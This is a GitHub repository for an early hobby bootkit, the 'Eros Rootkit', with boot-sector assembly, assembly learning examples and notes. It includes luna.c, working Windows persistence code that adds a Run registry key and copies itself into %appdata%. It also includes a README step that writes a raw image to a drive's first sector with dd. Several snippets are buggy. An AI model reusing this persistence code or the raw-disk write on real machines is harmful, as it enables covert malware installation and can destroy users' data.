├── .gitignore
├── Rootkit
├── .gitignore
├── Makefile
├── eros_2.asm
├── README.md
├── NOTES.MD
└── eros.asm
├── General
├── helloWorld
│ ├── helloWorld
│ ├── helloWorld.o
│ ├── Makefile
│ └── helloWorld.asm
├── CallingConventions
│ ├── CallingConventions
│ ├── Makefile
│ └── CallingConventions.asm
├── startupPersistency
│ ├── luna.h
│ └── luna.c
├── BIOS_Skeleton
│ └── skeleton.asm
└── HigherLevelCodeExamples
│ └── numToString.md
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *.out
3 | *.raw
4 |
--------------------------------------------------------------------------------
/Rootkit/.gitignore:
--------------------------------------------------------------------------------
1 | eros.o
2 | eros.raw
3 | mynotes
4 | eros_2.raw
5 | eros_final.raw
6 |
--------------------------------------------------------------------------------
/General/helloWorld/helloWorld:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/helloWorld/helloWorld
--------------------------------------------------------------------------------
/General/helloWorld/helloWorld.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/helloWorld/helloWorld.o
--------------------------------------------------------------------------------
/General/CallingConventions/CallingConventions:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CDuPlooy/Rootkit/HEAD/General/CallingConventions/CallingConventions
--------------------------------------------------------------------------------
/General/helloWorld/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | nasm -f elf64 helloWorld.asm -o helloWorld.o -ggdb
3 | ld helloWorld.o -o helloWorld
4 | debug: compile
5 | gdb ./helloWorld
6 |
--------------------------------------------------------------------------------
/General/CallingConventions/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | nasm -f elf64 CallingConventions.asm -o CallingConventions.o -ggdb
3 | ld CallingConventions.o -o CallingConventions
4 | debug: compile
5 | gdb ./CallingConventions
6 |
--------------------------------------------------------------------------------
/General/startupPersistency/luna.h:
--------------------------------------------------------------------------------
1 | #ifndef LUNA_H
2 | #define LUNA_H
3 | //HEADERS
4 | short checkStart();
5 | short addStart();
6 | short init();
7 | void d_init();
8 | void copySelf(char *loc);
9 | //DEFINES
10 | #define RESERVED NULL
11 | #define NO_TYPE NULL
12 |
13 | #endif
14 |
--------------------------------------------------------------------------------
/Rootkit/Makefile:
--------------------------------------------------------------------------------
1 | compile_raw:
2 | nasm -f bin eros.asm -o eros.raw
3 | nasm -f bin eros_2.asm -o eros_2.raw
4 | @cat eros.raw > eros_final.raw
5 | @cat eros_2.raw >> eros_final.raw
6 | @echo "Generating eros_final"
7 | @rm eros.raw
8 | @rm eros_2.raw
9 | @echo "Cleaning up"
10 | qemu: compile_raw
11 | qemu-system-i386 -fda eros_final.raw -boot a
12 | clean:
13 | rm eros.raw
14 | #A useless comment
15 |
--------------------------------------------------------------------------------
/General/BIOS_Skeleton/skeleton.asm:
--------------------------------------------------------------------------------
1 | [BITS 16] ;tell the assembler that its a 16 bit code
2 | [ORG 0x7C00] ;Origin, tell the assembler that where the code will
3 | ;be in memory after it is been loaded
4 |
5 | JMP $ ;infinite loop
6 |
7 | TIMES 510 - ($ - $$) db 0 ;fill the rest of sector with 0
8 | DW 0xAA55 ; add boot signature at the end of bootloader
9 |
10 | ;;Not mine ; credit goes to http://viralpatel.net/taj/tutorial/hello_world_bootloader.php
11 | ;;Nice explanation of what everything does though ; I'm not sure about the [] , usually I don't add those.
12 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Eros Rootkit:
2 |
3 | Author : [RagingGrim](https://github.com/RagingGrim)
4 |
5 | The Eros Rootkit is a special kind of malware with it's own custom bootloader. The rootkit takes control of the system before forking and passing control to the operating system. ( Sort of).
6 |
7 | Due to recent events in my personal life I have more ( but less ) time to spend on this project. I am going to take it into a slightly different direction, for now the repository will be about building smaller parts of a rootkit with the intent of at the very end having a feasible framework to build on.
8 |
--------------------------------------------------------------------------------
/Rootkit/eros_2.asm:
--------------------------------------------------------------------------------
1 | BITS 16
2 | ORG 0x7E00
3 | ;;Program
4 | mov esi,stageTwoMsg
5 | call print
6 | call hang
7 |
8 | ;;Functions
9 |
10 | err:
11 | mov esi,errMsg
12 | call print
13 | ret
14 |
15 | succ:
16 | mov esi,succMsg
17 | call print
18 | ret
19 |
20 |
21 | printChar:
22 | mov ah,0x0e
23 | mov bh,0x0
24 | mov bl,0x07
25 | int 0x10
26 | ret
27 |
28 | print:
29 | mov al,[si]
30 | inc esi
31 | or al,al
32 | JZ print_done
33 | call printChar
34 | JMP print
35 | print_done:
36 | ret
37 | hang:
38 | JMP $
39 |
40 | stageTwoMsg: db "Stage two loaded!" , 0xA , 0xD,0
41 | errMsg: db "An Error Occured",0xA,0xD,0
42 | succMsg: db "Execution Normal",0xA,0xD,0
43 |
--------------------------------------------------------------------------------
/Rootkit/README.md:
--------------------------------------------------------------------------------
1 | # General Notes:
2 | * When compiling on linux dd is the most useful. See the compiling section.
3 | * With assembly you usually have to play around with the code to get it to work ; Be patient.
4 |
5 |
6 | ## 1 - Compiling ( Hardware method ):
7 | * Compile with make
8 | * Check what device is your target drive with lsblk. Usually it is the last one.
9 | * sudo dd if=eros_final.raw of=/dev/sdb bs=512
10 |
11 |
12 | The third step is the most important because we want the bootloader to be located at the
13 | first block on the device. BIOS looks at these blocks to determine if a device is bootable.
Later when the stage II bootloader is finished we will compile differently ; Skipping over
the first 512 bytes so that the second part is easy to load from within the first.
14 |
15 |
16 | ## 2 - Compiling ( Software method ):
17 | * Make sure that you have qemu installed.
18 | * make qemu
19 |
--------------------------------------------------------------------------------
/General/helloWorld/helloWorld.asm:
--------------------------------------------------------------------------------
1 | BITS 32
2 | section .data
3 | msg db "Hello World!",10,0
4 | section .bss
5 |
6 | section .text
7 | global _start
8 |
9 | _start:
10 | xor ebx,ebx
11 | mov eax,msg
12 | call len
13 | ;;eax now contains the length of the string
14 | mov ebx,eax
15 | mov eax,msg
16 | call print
17 |
18 | mov eax,1
19 | mov ebx,0
20 | int 0x80
21 |
22 | ret
23 | ;expects eax to be a string
24 | ;expects ebx to be the string length
25 | ;recall that int 0x80 calls a system call
26 | ;we'll be using write for this example
27 | print:
28 | mov ecx,eax
29 | mov eax,4 ;;write
30 | mov edx,ebx
31 | mov ebx,1 ;;stdout
32 | int 0x80
33 | ret
34 |
35 |
36 | ;eax should be the string
37 | ;eax will be the result , using ebx
38 | len:
39 | xor ebx , ebx
40 | len_loop:
41 | cmp byte [eax],0
42 | JE len_done
43 | add eax,1
44 | add ebx,1
45 | JMP len_loop
46 | len_done:
47 | mov eax , ebx
48 | xor ebx,ebx
49 | ret
50 |
--------------------------------------------------------------------------------
/General/HigherLevelCodeExamples/numToString.md:
--------------------------------------------------------------------------------
1 | # Converting from an integer to a string:
2 | ````c++
3 | std::string numToString(int amount){
4 | std::string number;
5 |
6 | bool isNeg = amount < 0;
7 | if(isNeg){
8 | amount = abs(amount);
9 | number.push_back('-');
10 | }
11 |
12 | if( amount == 0){
13 | number.push_back('0');
14 | return number;
15 | }
16 |
17 |
18 | size_t digits = ceil(log10(amount));
19 | size_t modifier = pow(10,digits-1);
20 | size_t cumilation = 0;
21 |
22 | for(size_t i = 0 ; i < digits ; i++, modifier /= 10 ){
23 | size_t divVal = amount/modifier;
24 | number.push_back((divVal - cumilation) | 0b00110000);
25 | cumilation = divVal * 10;
26 | }
27 | return number;
28 | }
29 | ````
30 |
31 | This is for ASCII values. I doubt it'll work for UTF.
32 | Doesn't work for multiples of ten... :?
33 |
--------------------------------------------------------------------------------
/General/CallingConventions/CallingConventions.asm:
--------------------------------------------------------------------------------
1 | BITS 32
2 | global _start
3 | section .data
4 |
5 | section .text
6 | _start:
7 |
8 | push dword 1
9 | call cdelc_add
10 | add ebp , 8 ;; When using the cdelc convention the caller has to clean up.
11 |
12 | push dword 1
13 | call std_add ;; We don't need to do any kind of clean up.
14 |
15 | push dword 1
16 | mov ecx,eax
17 | mov edx,1
18 | call fastcall_add
19 |
20 | JMP $ ;; Fall through will occur once example is done, this prevents fall through but the program will hang
21 |
22 | cdelc_add: ;; Cdelc means the caller has to clean up
23 | add eax,[esp + 8] ;; The size of an integer is 8 for 64 bit systems and 4 for 32 bit systems.
24 | ret
25 |
26 | std_add: ;; stdcall means the callee has to clean up.
27 | add eax,[esp + 8]
28 | ;; Alternatively add esp , 8
29 | ret 8 ;; Cleans up, and then returns.
30 |
31 | fastcall_add: ;; First two arguments go onto into ecx,edx and the rest unto the stack. Callee still does cleanup.
32 | add ecx , edx
33 | add ecx , [esp+8]
34 | mov eax,ecx
35 | xor ecx , ecx ;; Quick way to zero a register
36 | ret 8
37 | ret
38 |
--------------------------------------------------------------------------------
/Rootkit/NOTES.MD:
--------------------------------------------------------------------------------
1 | ## *Just a little todo list.*
2 | * Set up the stack.
3 | * Write a function to calculate the amount of digits in an integer.
4 |
We need this to be able to convert an integer to a string.
5 | * Look at the FPU and functions using it. You'll need it.
6 | ```nasm
7 | dd number1: 0
8 | finit ;;resets FPU registers
9 | mov eax,dword num1 ;; Move pointers into registers first
10 | mov ebx,dword num2
11 | fld dword [eax] ;;loads the value eax is point to
12 | fld dword [ebx] ;;fyl2x now computes y * log2(x)
13 | fyl2x
14 | ```
15 | * Logarithm rules ; Fuckem right? Well you need them now. Study study study.
16 | * Study the NTFS , FAT and EXT filesystems. Need to read/write.
17 |
18 | ## *Restructuring the repository.*
19 | * The bootloader now needs to be split into stages.
20 | * Stage one simply loads stage two from where we put the processor into protected mode.
21 | * Once in protected mode normal execution can proceed. This is where we'll need to
be able to read the different filesystems.
22 |
23 |
24 | ## What I've Learned So Far:#
25 | * Assembly takes a lot of work.
26 | * The FPU doesn't need a lot of memory , it should work fine in 16 bit mode. ( Not 100% Sure But At Least A Tiny Bit Certain )
27 | * BIOS functions uses the stack ( SUPRISE! ) so I should probably set it up first.
28 | * The read BIOS call only loads 512 blocks at a time. meaning stage 2 shouldn't exceed 512 bytes. At least not yet.
29 |
30 | ## Related Links
31 | * [uefi-example](http://forum.nasm.us/index.php?topic=2191.0)
32 |
--------------------------------------------------------------------------------
/General/startupPersistency/luna.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "luna.h"
6 |
7 | char installLocation[265];
8 |
9 | short checkStart(){
10 | short err = 0;
11 |
12 | HKEY res;
13 | if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS,&res) != ERROR_SUCCESS)
14 | return 0;
15 | unsigned char *buffer = malloc(800);
16 |
17 | DWORD bufferSize;
18 | if(RegQueryValueExA(res, "luna", RESERVED, NO_TYPE, buffer, &bufferSize) != ERROR_SUCCESS)
19 | goto checkStart_cleanup;
20 | buffer = realloc(buffer, bufferSize);
21 | if(!buffer)
22 | goto checkStart_cleanup;
23 |
24 | if(strcmp((const char *)buffer,installLocation) != 0)
25 | goto checkStart_cleanup_two;
26 |
27 | err = !0;
28 | checkStart_cleanup_two:
29 | memset(buffer, 0,bufferSize);
30 | free(buffer);
31 | checkStart_cleanup:
32 | RegCloseKey(res);
33 | return err;
34 | }
35 | short init(){
36 | GetEnvironmentVariableA("appdata", installLocation, 200);
37 | strcat(installLocation,"\\l.u.n.a");
38 | return 0;
39 | }
40 | void d_init(){
41 | memset(installLocation, 0, 265);
42 | }
43 | short addStart(){
44 | HKEY hkey;
45 | if(RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS,&hkey) != ERROR_SUCCESS)
46 | return 0;
47 | if(RegSetValueExA(hkey, "luna", 0, REG_SZ, (const BYTE *)installLocation, strlen(installLocation)) != ERROR_SUCCESS){
48 | RegCloseKey(hkey);
49 | return 0;
50 | }
51 |
52 | RegCloseKey(hkey);
53 | return 1;
54 | }
55 | void copySelf(char *loc){
56 | size_t size;
57 | for(size = strlen(loc) ; size < 0 ; size--)
58 | if(loc[size]=='\\')
59 | loc = loc + size;
60 |
61 | CopyFile(loc,installLocation,0); //you might want to create your own copy function.
62 | }
63 | int main(int argc , char **argv){
64 | init();
65 | if(!checkStart())
66 | addStart();
67 | //if(GetFileAttributesA(installLocation) == INVALID_FILE_ATTRIBUTES)
68 | copySelf(argv[0]);
69 |
70 | d_init();
71 | getchar();
72 | return 0;
73 | }
74 |
--------------------------------------------------------------------------------
/Rootkit/eros.asm:
--------------------------------------------------------------------------------
1 | BITS 16
2 | ORG 0x7C00
3 |
4 | section .text
5 | xor ax, ax
6 | mov ds, ax
7 | mov es, ax ;;xor es,es results in an error
8 | ;;This needs to be done on account of segmentation.
9 |
10 | ;;On boot the drive being used's identifier is stored in dl.
11 | _stackCreation:
12 | add ax,512 ;;Size of stage 1
13 | ;;add ax,598 ;;We'll have a stage 2 as well so uncomment this later
14 | add ax,8092 ;;Disk buffer.
15 | add ax,4092 ;;Stack
16 |
17 | ;;fall through to stage 1
18 |
19 | _stageOne:
20 | mov [Drivenum] ,dl
21 |
22 | xor eax,eax
23 | xor ebx,ebx
24 | xor ecx,ecx
25 | xor edx,edx
26 | ;xor esi,esi
27 |
28 | mov esi, msg
29 | call print
30 | int 0x11
31 |
32 | call checkDrive
33 | ;;int 13h is low level disk services ; ah = 02h read
34 | ;;I'm on the right track 13h 02h isn't an extended function
35 |
36 | ;;; COPIED FROM http://stackoverflow.com/questions/15497842/read-a-write-a-sector-from-hard-drive-with-int-13h
37 | ; read_sectors_16
38 | ;
39 | ; Reads sectors from disk into memory using BIOS services
40 | ;
41 | ; input: dl = drive
42 | ; ch = cylinder[7:0]
43 | ; cl[7:6] = cylinder[9:8]
44 | ; dh = head
45 | ; cl[5:0] = sector (1-63)
46 | ; es:bx -> destination
47 | ; al = number of sectors
48 | ;
49 | ; output: cf (0 = success, 1 = failure)
50 | mov ah,0x02
51 | mov dl,[Drivenum]
52 | xor dh,dh
53 | mov cl , 2 ;;cylinder 2
54 | mov ch, 0 ;;sector 0
55 | mov bx, 0x7E00 ;;the starting point for
56 | mov al,1
57 | int 0x13
58 | jmp 0x7E00
59 |
60 |
61 | err:
62 | mov esi,errMsg
63 | call print
64 | ret
65 |
66 | succ:
67 | mov esi,succMsg
68 | call print
69 | ret
70 |
71 | hang:
72 | JMP $
73 |
74 | printChar:
75 | mov ah,0x0e
76 | mov bh,0x0
77 | mov bl,0x07
78 | int 0x10
79 | ret
80 |
81 | print:
82 | mov al,[si]
83 | inc esi
84 | or al,al
85 | JZ print_done
86 | call printChar
87 | JMP print
88 | print_done:
89 | ret
90 |
91 |
92 | len:
93 | xor ebx , ebx
94 | len_loop:
95 | cmp byte [eax],0
96 | JE len_done
97 | add eax,1
98 | add ebx,1
99 | JMP len_loop
100 | len_done:
101 | ret
102 |
103 | checkDrive:
104 | mov ah,0x01
105 | mov dl,[Drivenum]
106 | int 0x13
107 | cmp ah,0
108 | JE checkDrive_fine
109 | JMP checkDrive_failed
110 | checkDrive_failed:
111 | call err
112 | ret
113 | checkDrive_fine:
114 | mov esi,hostDevice
115 | call print
116 | ret
117 |
118 | ;;I forgot that the message for some reason needs to be down here. I Never really figured out why.
119 | ;;AAAAAAH CARRIAGE RETURNS!
120 | msg: db "Eros Rootkit" , 0xA , 0xD , 0x10 , "Debug Version",0x11 ,0xA , 0xD ,0
121 | errMsg: db "An Error Occured",0xA,0xD,0
122 | succMsg: db "Execution Normal",0xA,0xD,0
123 | hostDevice: db "Host device checked - working.",0xA,0xD ,0 ,0
124 | Drivenum: db 0
125 | TIMES 510 - ($ - $$) db 0 ;;zero fills the remaining space
126 | DW 0xAA55 ;;Signature for the BIOS
127 |
--------------------------------------------------------------------------------